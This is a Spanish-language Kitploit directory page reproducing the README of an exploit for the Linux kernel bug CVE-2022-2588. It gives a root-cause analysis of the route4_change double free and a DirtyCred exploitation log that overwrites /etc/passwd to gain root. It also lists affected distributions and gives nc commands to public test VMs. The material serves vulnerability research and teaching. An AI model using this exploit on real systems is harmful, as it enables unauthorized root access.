Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-2588 — exploit para CVE-2022-2588 | Kitploit
Herramientas/GitHubGitHub/markakd/cve-2022-2588
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

exploit para CVE-2022-2588

Ver Repositorio
48871hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-2588

La corrección

El error está corregido en Linux v5.19 por este commit.

El error

El error fue introducido en Linux v3.17 por este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, que fue causado por una operación incorrecta en la lista enlazada de route4_filter. Más detalles de CVE-2021-3715 se pueden encontrar en la charla de blackhat (página 16). A continuación se muestran algunos detalles breves de CVE-2022-2588.

El siguiente código muestra fragmentos importantes de la función route4_change para entender CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La función está implementada para inicializar/reemplazar el objeto route4_filter. El filtro usa handle como un identificador único para distinguir entre cada filtro. Si existe un handle que ya ha sido inicializado (es decir, la variable fold no es nula), actualizará el filtro eliminando el antiguo y agregando uno nuevo; de lo contrario, solo agregará un nuevo filtro.

En [0], el kernel asigna el objeto route4_filter. En [1], si fold no está vacío, lo que significa que existe un filtro con el mismo handle, copiará cierta información al nuevo filtro e inicializará el nuevo filtro en [2], luego insertará el nuevo filtro en la lista en [3]. Si el filtro antiguo existe, se elimina de la lista en [4] y se libera en [6].

El error ocurre en [4], que verifica si existe un filtro antiguo para ser eliminado. La condición asegura que el handle no debe ser cero y debe coincidir con el handle del nuevo filtro. Esta condición no se alinea con la condición de liberación del filtro en [6], que solo verifica si el filtro antiguo existe. Por lo tanto, si los usuarios crean un filtro cuyo handle es 0, y luego activan su reemplazo, el filtro no se desvinculará en [4] pero se liberará en [6] ya que sus condiciones no son las mismas.

La explotación

Dado que este error es similar a CVE-2021-3715, sus primitivas son casi las mismas. Los lectores pueden consultar la charla de blackhat para una descripción más detallada de las primitivas. Este informe muestra la explotación con la idea de DirtyCred.

Dado que el fold liberado aún está en la lista enlazada después de activar el error, podemos liberar fold una vez más, lo que eventualmente causará un doble free en el objeto route4_filter y en el objeto route4_filter->exts.action si CONFIG_NET_CLS_ACT está habilitado.

Los códigos del exploit utilizan estas dos capacidades de doble free para demostrar el ataque sobre las credenciales de tarea (utilizando doble free en kmalloc-192, próximamente) y las credenciales de archivo abierto (utilizando doble free en kmalloc-256).

Atacando la credencial de archivo

Siguiendo la idea de DirtyCred, el código del exploit intercambia la credencial del archivo después de las comprobaciones de permisos, de modo que podamos escribir cualquier contenido en archivos con permiso de lectura. Idealmente, el código podría funcionar en todas las versiones del kernel afectadas por el error. Se destaca que para asegurar que el código funcione en kernels más antiguos donde msg_msg está aislado en kmalloc-rcl-*, el exploit utiliza un objeto de spray diferente.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

El exploit fue escrito para funcionar en la mayor cantidad de distribuciones posible. Se confirmó que funciona en:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(No dudes en enviar un PR para actualizar esto si descubres que funciona en otros kernels.)

¿Quieres probar el exploit en la máquina virtual?

Inicia sesión con el usuario low y la contraseña low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Descargar herramienta